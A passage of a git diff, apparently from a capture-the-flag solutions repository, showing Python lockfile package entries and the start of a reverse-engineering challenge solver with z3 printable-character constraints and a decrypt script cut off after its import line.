+ { url = "https://files.pythonhosted.org/packages/1c/09/9c1b978ffc4ae53999e89c19c77ba882d9fce476729f23ef55211ea1c034/pywin32-310-cp313-cp313-win32.whl", hash = "sha256:5d241a659c496ada3253cd01cfaa779b048e90ce4b2b38cd44168ad555ce74ab", size = 8794384, upload-time = "2025-03-17T00:56:04.383Z" },
+ { url = "https://files.pythonhosted.org/packages/45/3c/b4640f740ffebadd5d34df35fecba0e1cfef8fde9f3e594df91c28ad9b50/pywin32-310-cp313-cp313-win_amd64.whl", hash = "sha256:667827eb3a90208ddbdcc9e860c81bde63a135710e21e4cb3348968e4bd5249e", size = 9503039, upload-time = "2025-03-17T00:56:06.207Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/f4/f785020090fb050e7fb6d34b780f2231f302609dc964672f72bfaeb59a28/pywin32-310-cp313-cp313-win_arm64.whl", hash = "sha256:e308f831de771482b7cf692a1f308f8fca701b2d8f9dde6cc440c7da17e47b33", size = 8458152, upload-time = "2025-03-17T00:56:07.819Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.32.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "certifi" },
+ { name = "charset-normalizer" },
+ { name = "idna" },
+ { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e1/0a/929373653770d8a0d7ea76c37de6e41f11eb07559b103b1c02cafb3f7cf8/requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422", size = 135258, upload-time = "2025-06-09T16:43:07.34Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7c/e4/56027c4a6b4ae70ca9de302488c5ca95ad4a39e190093d6c1a8ace08341b/requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c", size = 64847, upload-time = "2025-06-09T16:43:05.728Z" },
+]
+
+[[package]]
+name = "ropgadget"
+version = "7.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "capstone" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b5/ad/7c6c9078c143d5cb7965f2d06a3aadc5f9e638276dd86e57ce8c9a30457c/ropgadget-7.6.tar.gz", hash = "sha256:8883c54e4627073a2ce7cd8adbaf7ef72478442c0a5da1308c3c2e37641174c3", size = 25848, upload-time = "2025-01-28T19:34:00.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5d/de/a51149ceea68dc0abbf62b9381ebe87db493a19192d563fe77bfdad5fb02/ROPGadget-7.6-py3-none-any.whl", hash = "sha256:749176f0d210498869ac849a1414912488c0c8c4853b823d22888e2b49a67391", size = 32397, upload-time = "2025-01-28T19:33:58.788Z" },
+]
+
+[[package]]
+name = "rpyc"
+version = "6.0.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "plumbum" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" },
+]
+
+[[package]]
+name = "six"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
+]
+
+[[package]]
+name = "sortedcontainers"
+version = "2.4.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
+]
+
+[[package]]
+name = "unicorn"
+version = "2.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/40/64/5b37c21ff413341ca00236f2ff1c712296232239995949f4ca02c10ce357/unicorn-2.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:eb018793a60151f8b1682d80fd6e60cd20407be25f88b25612006ab344c2c621", size = 12885488, upload-time = "2025-02-13T15:28:56.54Z" },
+ { url = "https://files.pythonhosted.org/packages/2e/11/e3b8589df44f6d637a2839d7747ab2da2e406cd8624d8892199fb987654a/unicorn-2.1.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8aab7f7cc2570585ee37335af51dddf0992629c36983e205a924e459cccb993d", size = 15286698, upload-time = "2025-02-13T15:29:00.017Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/33/ad3727494c2342b664e92dfeca6a2739be2a40b3c9842afab2216df41659/unicorn-2.1.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a763d3dc0afea744d0275293c51c377570354e475a6cfb79e8a8fbc4c3b4c17", size = 19738716, upload-time = "2025-02-13T15:29:03.178Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/dd/60d3453364ccaa08da5084cfffb3f8e32abb69289d813117035cce59e46b/unicorn-2.1.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6a3f886db8d977ae4b36810e5fe3dd0d2ba2151d030e64db47ae2c5f1115efa8", size = 16341447, upload-time = "2025-02-13T15:29:07.261Z" },
+ { url = "https://files.pythonhosted.org/packages/44/ed/d78471db33f82dd9c5e5715c15239dd8b7e531911d55709e2337c910194d/unicorn-2.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:31a506cd0f3a65e69219f06bf8744520334ff12219905c00779bb93307c50e03", size = 15825061, upload-time = "2025-02-13T15:29:10.229Z" },
+ { url = "https://files.pythonhosted.org/packages/db/77/6cab866f23f1ab5b03b18303de06ddb7bc14009e5bda7131a5b33715074e/unicorn-2.1.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c0148d061466a9f69bbd1ae5bf0087696a405c05471693c5f20e98cf81cdb086", size = 20386199, upload-time = "2025-02-13T15:29:14.44Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/5d/f56e0e140203ddc9384d311001595d55800bd59e1aa51ef5e4523bca73e4/unicorn-2.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7c7cb06d93844c69126c07f77ce34cd51ce63c352b5d0cfdc331b522eef2c0e3", size = 16670403, upload-time = "2025-02-13T15:29:19.32Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/71/6422b3e260e3463538fa1434e82d56fc2913ab6eabebfafee93b302a0eb7/unicorn-2.1.2-cp312-cp312-win32.whl", hash = "sha256:1f324c54fdc132e69e4cbb14c2e256bcc9eba67891561f06ca90db89511a10d2", size = 11731856, upload-time = "2025-02-13T15:29:22.143Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/1b/b7b70183ad0559ce20818a5adf9eeaf289afcef7f371df4c549cd0ff1c4d/unicorn-2.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:04133be6fd0b80301f2bd44fcc18840db0ab44753a7fe2185280c437f97bb87c", size = 15859730, upload-time = "2025-02-13T15:29:26.053Z" },
+ { url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" },
+ { url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" },
+ { url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" },
+ { url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" },
+ { url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" },
+ { url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" },
+]
+
+[[package]]
+name = "unix-ar"
+version = "0.2.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/15/22/9ee70a2574a4f4599c47dd506532914ce044817c7752a79b6a51286319bc/urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760", size = 393185, upload-time = "2025-06-18T14:07:41.644Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a7/c2/fe1e52489ae3122415c51f387e221dd0773709bad6c6cdaa599e8a2c5185/urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc", size = 129795, upload-time = "2025-06-18T14:07:40.39Z" },
+]
+
+[[package]]
+name = "zstandard"
+version = "0.23.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation == 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ed/f6/2ac0287b442160a89d726b17a9184a4c615bb5237db763791a7fd16d9df1/zstandard-0.23.0.tar.gz", hash = "sha256:b2d8c62d08e7255f68f7a740bae85b3c9b8e5466baa9cbf7f57f1cde0ac6bc09", size = 681701, upload-time = "2024-07-15T00:18:06.141Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7b/83/f23338c963bd9de687d47bf32efe9fd30164e722ba27fb59df33e6b1719b/zstandard-0.23.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:b4567955a6bc1b20e9c31612e615af6b53733491aeaa19a6b3b37f3b65477094", size = 788713, upload-time = "2024-07-15T00:15:35.815Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/b3/1a028f6750fd9227ee0b937a278a434ab7f7fdc3066c3173f64366fe2466/zstandard-0.23.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1e172f57cd78c20f13a3415cc8dfe24bf388614324d25539146594c16d78fcc8", size = 633459, upload-time = "2024-07-15T00:15:37.995Z" },
+ { url = "https://files.pythonhosted.org/packages/26/af/36d89aae0c1f95a0a98e50711bc5d92c144939efc1f81a2fcd3e78d7f4c1/zstandard-0.23.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b0e166f698c5a3e914947388c162be2583e0c638a4703fc6a543e23a88dea3c1", size = 4945707, upload-time = "2024-07-15T00:15:39.872Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/2e/2051f5c772f4dfc0aae3741d5fc72c3dcfe3aaeb461cc231668a4db1ce14/zstandard-0.23.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:12a289832e520c6bd4dcaad68e944b86da3bad0d339ef7989fb7e88f92e96072", size = 5306545, upload-time = "2024-07-15T00:15:41.75Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/9e/a11c97b087f89cab030fa71206963090d2fecd8eb83e67bb8f3ffb84c024/zstandard-0.23.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d50d31bfedd53a928fed6707b15a8dbeef011bb6366297cc435accc888b27c20", size = 5337533, upload-time = "2024-07-15T00:15:44.114Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/79/edeb217c57fe1bf16d890aa91a1c2c96b28c07b46afed54a5dcf310c3f6f/zstandard-0.23.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:72c68dda124a1a138340fb62fa21b9bf4848437d9ca60bd35db36f2d3345f373", size = 5436510, upload-time = "2024-07-15T00:15:46.509Z" },
+ { url = "https://files.pythonhosted.org/packages/81/4f/c21383d97cb7a422ddf1ae824b53ce4b51063d0eeb2afa757eb40804a8ef/zstandard-0.23.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53dd9d5e3d29f95acd5de6802e909ada8d8d8cfa37a3ac64836f3bc4bc5512db", size = 4859973, upload-time = "2024-07-15T00:15:49.939Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/15/08d22e87753304405ccac8be2493a495f529edd81d39a0870621462276ef/zstandard-0.23.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:6a41c120c3dbc0d81a8e8adc73312d668cd34acd7725f036992b1b72d22c1772", size = 4936968, upload-time = "2024-07-15T00:15:52.025Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/fa/f3670a597949fe7dcf38119a39f7da49a8a84a6f0b1a2e46b2f71a0ab83f/zstandard-0.23.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:40b33d93c6eddf02d2c19f5773196068d875c41ca25730e8288e9b672897c105", size = 5467179, upload-time = "2024-07-15T00:15:54.971Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/a9/dad2ab22020211e380adc477a1dbf9f109b1f8d94c614944843e20dc2a99/zstandard-0.23.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9206649ec587e6b02bd124fb7799b86cddec350f6f6c14bc82a2b70183e708ba", size = 4848577, upload-time = "2024-07-15T00:15:57.634Z" },
+ { url = "https://files.pythonhosted.org/packages/08/03/dd28b4484b0770f1e23478413e01bee476ae8227bbc81561f9c329e12564/zstandard-0.23.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:76e79bc28a65f467e0409098fa2c4376931fd3207fbeb6b956c7c476d53746dd", size = 4693899, upload-time = "2024-07-15T00:16:00.811Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/64/3da7497eb635d025841e958bcd66a86117ae320c3b14b0ae86e9e8627518/zstandard-0.23.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:66b689c107857eceabf2cf3d3fc699c3c0fe8ccd18df2219d978c0283e4c508a", size = 5199964, upload-time = "2024-07-15T00:16:03.669Z" },
+ { url = "https://files.pythonhosted.org/packages/43/a4/d82decbab158a0e8a6ebb7fc98bc4d903266bce85b6e9aaedea1d288338c/zstandard-0.23.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:9c236e635582742fee16603042553d276cca506e824fa2e6489db04039521e90", size = 5655398, upload-time = "2024-07-15T00:16:06.694Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/61/ac78a1263bc83a5cf29e7458b77a568eda5a8f81980691bbc6eb6a0d45cc/zstandard-0.23.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a8fffdbd9d1408006baaf02f1068d7dd1f016c6bcb7538682622c556e7b68e35", size = 5191313, upload-time = "2024-07-15T00:16:09.758Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/54/967c478314e16af5baf849b6ee9d6ea724ae5b100eb506011f045d3d4e16/zstandard-0.23.0-cp312-cp312-win32.whl", hash = "sha256:dc1d33abb8a0d754ea4763bad944fd965d3d95b5baef6b121c0c9013eaf1907d", size = 430877, upload-time = "2024-07-15T00:16:11.758Z" },
+ { url = "https://files.pythonhosted.org/packages/75/37/872d74bd7739639c4553bf94c84af7d54d8211b626b352bc57f0fd8d1e3f/zstandard-0.23.0-cp312-cp312-win_amd64.whl", hash = "sha256:64585e1dba664dc67c7cdabd56c1e5685233fbb1fc1966cfba2a340ec0dfff7b", size = 495595, upload-time = "2024-07-15T00:16:13.731Z" },
+ { url = "https://files.pythonhosted.org/packages/80/f1/8386f3f7c10261fe85fbc2c012fdb3d4db793b921c9abcc995d8da1b7a80/zstandard-0.23.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:576856e8594e6649aee06ddbfc738fec6a834f7c85bf7cadd1c53d4a58186ef9", size = 788975, upload-time = "2024-07-15T00:16:16.005Z" },
+ { url = "https://files.pythonhosted.org/packages/16/e8/cbf01077550b3e5dc86089035ff8f6fbbb312bc0983757c2d1117ebba242/zstandard-0.23.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:38302b78a850ff82656beaddeb0bb989a0322a8bbb1bf1ab10c17506681d772a", size = 633448, upload-time = "2024-07-15T00:16:17.897Z" },
+ { url = "https://files.pythonhosted.org/packages/06/27/4a1b4c267c29a464a161aeb2589aff212b4db653a1d96bffe3598f3f0d22/zstandard-0.23.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d2240ddc86b74966c34554c49d00eaafa8200a18d3a5b6ffbf7da63b11d74ee2", size = 4945269, upload-time = "2024-07-15T00:16:20.136Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/64/d99261cc57afd9ae65b707e38045ed8269fbdae73544fd2e4a4d50d0ed83/zstandard-0.23.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2ef230a8fd217a2015bc91b74f6b3b7d6522ba48be29ad4ea0ca3a3775bf7dd5", size = 5306228, upload-time = "2024-07-15T00:16:23.398Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/cf/27b74c6f22541f0263016a0fd6369b1b7818941de639215c84e4e94b2a1c/zstandard-0.23.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:774d45b1fac1461f48698a9d4b5fa19a69d47ece02fa469825b442263f04021f", size = 5336891, upload-time = "2024-07-15T00:16:26.391Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/18/89ac62eac46b69948bf35fcd90d37103f38722968e2981f752d69081ec4d/zstandard-0.23.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f77fa49079891a4aab203d0b1744acc85577ed16d767b52fc089d83faf8d8ed", size = 5436310, upload-time = "2024-07-15T00:16:29.018Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/a8/5ca5328ee568a873f5118d5b5f70d1f36c6387716efe2e369010289a5738/zstandard-0.23.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac184f87ff521f4840e6ea0b10c0ec90c6b1dcd0bad2f1e4a9a1b4fa177982ea", size = 4859912, upload-time = "2024-07-15T00:16:31.871Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/ca/3781059c95fd0868658b1cf0440edd832b942f84ae60685d0cfdb808bca1/zstandard-0.23.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c363b53e257246a954ebc7c488304b5592b9c53fbe74d03bc1c64dda153fb847", size = 4936946, upload-time = "2024-07-15T00:16:34.593Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/11/41a58986f809532742c2b832c53b74ba0e0a5dae7e8ab4642bf5876f35de/zstandard-0.23.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:e7792606d606c8df5277c32ccb58f29b9b8603bf83b48639b7aedf6df4fe8171", size = 5466994, upload-time = "2024-07-15T00:16:36.887Z" },
+ { url = "https://files.pythonhosted.org/packages/83/e3/97d84fe95edd38d7053af05159465d298c8b20cebe9ccb3d26783faa9094/zstandard-0.23.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a0817825b900fcd43ac5d05b8b3079937073d2b1ff9cf89427590718b70dd840", size = 4848681, upload-time = "2024-07-15T00:16:39.709Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/99/cb1e63e931de15c88af26085e3f2d9af9ce53ccafac73b6e48418fd5a6e6/zstandard-0.23.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:9da6bc32faac9a293ddfdcb9108d4b20416219461e4ec64dfea8383cac186690", size = 4694239, upload-time = "2024-07-15T00:16:41.83Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/50/b1e703016eebbc6501fc92f34db7b1c68e54e567ef39e6e59cf5fb6f2ec0/zstandard-0.23.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fd7699e8fd9969f455ef2926221e0233f81a2542921471382e77a9e2f2b57f4b", size = 5200149, upload-time = "2024-07-15T00:16:44.287Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/e0/932388630aaba70197c78bdb10cce2c91fae01a7e553b76ce85471aec690/zstandard-0.23.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:d477ed829077cd945b01fc3115edd132c47e6540ddcd96ca169facff28173057", size = 5655392, upload-time = "2024-07-15T00:16:46.423Z" },
+ { url = "https://files.pythonhosted.org/packages/02/90/2633473864f67a15526324b007a9f96c96f56d5f32ef2a56cc12f9548723/zstandard-0.23.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa6ce8b52c5987b3e34d5674b0ab529a4602b632ebab0a93b07bfb4dfc8f8a33", size = 5191299, upload-time = "2024-07-15T00:16:49.053Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/4c/315ca5c32da7e2dc3455f3b2caee5c8c2246074a61aac6ec3378a97b7136/zstandard-0.23.0-cp313-cp313-win32.whl", hash = "sha256:a9b07268d0c3ca5c170a385a0ab9fb7fdd9f5fd866be004c4ea39e44edce47dd", size = 430862, upload-time = "2024-07-15T00:16:51.003Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/bf/c6aaba098e2d04781e8f4f7c0ba3c7aa73d00e4c436bcc0cf059a66691d1/zstandard-0.23.0-cp313-cp313-win_amd64.whl", hash = "sha256:f3513916e8c645d0610815c257cbfd3242adfd5c4cfa78be514e5a3ebb42a41b", size = 495578, upload-time = "2024-07-15T00:16:53.135Z" },
+]
diff --git a/2025/gpn/rev/the-old-way/.python-version b/2025/gpn/rev/the-old-way/.python-version
new file mode 100644
index 0000000..e4fba21
--- /dev/null
+++ b/2025/gpn/rev/the-old-way/.python-version
@@ -0,0 +1 @@
+3.12
diff --git a/2025/gpn/rev/the-old-way/README.md b/2025/gpn/rev/the-old-way/README.md
new file mode 100644
index 0000000..e69de29
diff --git a/2025/gpn/rev/the-old-way/assertions.txt b/2025/gpn/rev/the-old-way/assertions.txt
new file mode 100644
index 0000000..6ca7eec
--- /dev/null
+++ b/2025/gpn/rev/the-old-way/assertions.txt
@@ -0,0 +1,125 @@
+[p0 >= 32,
+ p0 <= 126,
+ p1 >= 32,
+ p1 <= 126,
+ p2 >= 32,
+ p2 <= 126,
+ p3 >= 32,
+ p3 <= 126,
+ p4 >= 32,
+ p4 <= 126,
+ p5 >= 32,
+ p5 <= 126,
+ p6 >= 32,
+ p6 <= 126,
+ p7 >= 32,
+ p7 <= 126,
+ p8 >= 32,
+ p8 <= 126,
+ p9 >= 32,
+ p9 <= 126,
+ p10 >= 32,
+ p10 <= 126,
+ p11 >= 32,
+ p11 <= 126,
+ p12 >= 32,
+ p12 <= 126,
+ p13 >= 32,
+ p13 <= 126,
+ p14 >= 32,
+ p14 <= 126,
+ p15 >= 32,
+ p15 <= 126,
+ p16 >= 32,
+ p16 <= 126,
+ p17 >= 32,
+ p17 <= 126,
+ p18 >= 32,
+ p18 <= 126,
+ p19 >= 32,
+ p19 <= 126,
+ p20 >= 32,
+ p20 <= 126,
+ p21 >= 32,
+ p21 <= 126,
+ p22 >= 32,
+ p22 <= 126,
+ p23 >= 32,
+ p23 <= 126,
+ p24 >= 32,
+ p24 <= 126,
+ p25 >= 32,
+ p25 <= 126,
+ p26 >= 32,
+ p26 <= 126,
+ p27 >= 32,
+ p27 <= 126,
+ p28 >= 32,
+ p28 <= 126,
+ p29 >= 32,
+ p29 <= 126,
+ p30 >= 32,
+ p30 <= 126,
+ p31 >= 32,
+ p31 <= 126,
+ p32 >= 32,
+ p32 <= 126,
+ p33 >= 32,
+ p33 <= 126,
+ p34 >= 32,
+ p34 <= 126,
+ p35 >= 32,
+ p35 <= 126,
+ p36 >= 32,
+ p36 <= 126,
+ p37 >= 32,
+ p37 <= 126,
+ p38 >= 32,
+ p38 <= 126,
+ p39 >= 32,
+ p39 <= 126,
+ p40 >= 32,
+ p40 <= 126,
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... -
+ ... ==
+ ...]
\ No newline at end of file
diff --git a/2025/gpn/rev/the-old-way/decrypt.py b/2025/gpn/rev/the-old-way/decrypt.py
new file mode 100644
index 0000000..b5e49d0
--- /dev/null
+++ b/2025/gpn/rev/the-old-way/decrypt.py
@@ -0,0 +1,39 @@
+from z3 import *
+
